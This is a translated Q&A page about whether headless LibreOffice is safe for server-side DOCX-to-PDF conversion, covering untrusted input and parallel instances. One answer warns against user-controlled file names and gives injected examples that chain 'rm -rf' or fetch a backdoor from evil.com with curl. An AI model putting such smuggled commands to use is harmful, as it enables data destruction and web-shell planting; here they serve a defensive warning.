use*_*234 6 reporting libreoffice
我有my-template.docx我my-report.docx用 OpenXml转换成,然后my-report.pdf用:
soffice --headless --convert-to pdf my-report.docx
Run Code Online (Sandbox Code Playgroud)
我不得不说这个功能非常受欢迎。无论如何,我无法在此处(cli 文档)或此处(与 MS Office 比较)或我的其他帖子中找到答案的一件事是,LibreOffice 是否可以安全进行自动化。
请参阅Microsoft 的这篇文章,其中指出不要将 Word 用于服务器端自动化。这就引出了一个问题,即 LibreOffice 对服务器端自动化是否安全?基本上,我将使用 C# 来运行soffice --headless --convert-to pdf my-report.docx任何收到报告请求的时间。
那安全吗?
*假设没有其他人试图阅读 my-report.docx
只要您控制输入文件的内容,就应该没有问题。请记住,LibreOffice 只允许每个用户配置文件一个活动实例,因此如果您希望能够并行处理多个文档,您应该使用单独的用户配置文件。
如果您有不受信任的输入数据,那么整个问题的回答就会变得更加复杂。尽管在保护代码库方面做了大量工作,但桌面办公套件仍然是一个巨大的软件,具有许多潜在的攻击面(宏、远程数据连接、旧的二进制文件格式等)。虽然所有这些功能都应该在无头操作中被阻止,但您必须相信没有未被发现的错误。
Microsoft 文章中的其余要点不适用于 LibreOffice。Headless 模式旨在不与桌面环境交互,并且除了用户配置文件不会更改系统中的任何内容或依赖于任何与桌面相关的部分。默认构建仍将依赖于一些 GUI 库,但如果这确实成为一个问题,则有一个实验性构建选项可以构建一个没有任何 X/GTK/KDE 库依赖项的非 GUI 版本。
作为替代方案,还有一些项目构建在 LibreOffice 之上,它们试图通过预分叉或使用 LibreOfficeKit API 使转换文档变得更加容易并且实际上可能会更快。两个例子是JODConverter或unoconv。
我有 my-template.docx,我使用 OpenXml 将其转换为 my-report.docx,然后将其转换为 my-report.pdf:
soffice --headless --convert-to pdf my-report.docx
Run Code Online (Sandbox Code Playgroud)
几乎可以肯定,您正在做的是替换 DOCX 中的一些信息,并使用 LibreOffice 将“良好”转换为 PDF。虽然还有其他工具可能会执行类似的操作(例如 wkhtmltopdf),但据我所知,您没有以任何易受攻击的方式使用 LibreOffice(并且我也像您一样使用 LibreOffice):
可能但不太可能的“利用”途径可能仍然存在:
Content-Disposition: attachment; filename="thatswhatshesaid";不是在文件系统上使用用户的文件名,并冒着将数据保存到byebye.pdf && rm -rf ...(或irrelevant.pdf\x00; curl -o index2.php http://evil.com/backdoor.php或...),发回Location: downloads/whatshesaid.pdf.| 归档时间: |
|
| 查看次数: |
6258 次 |
| 最近记录: |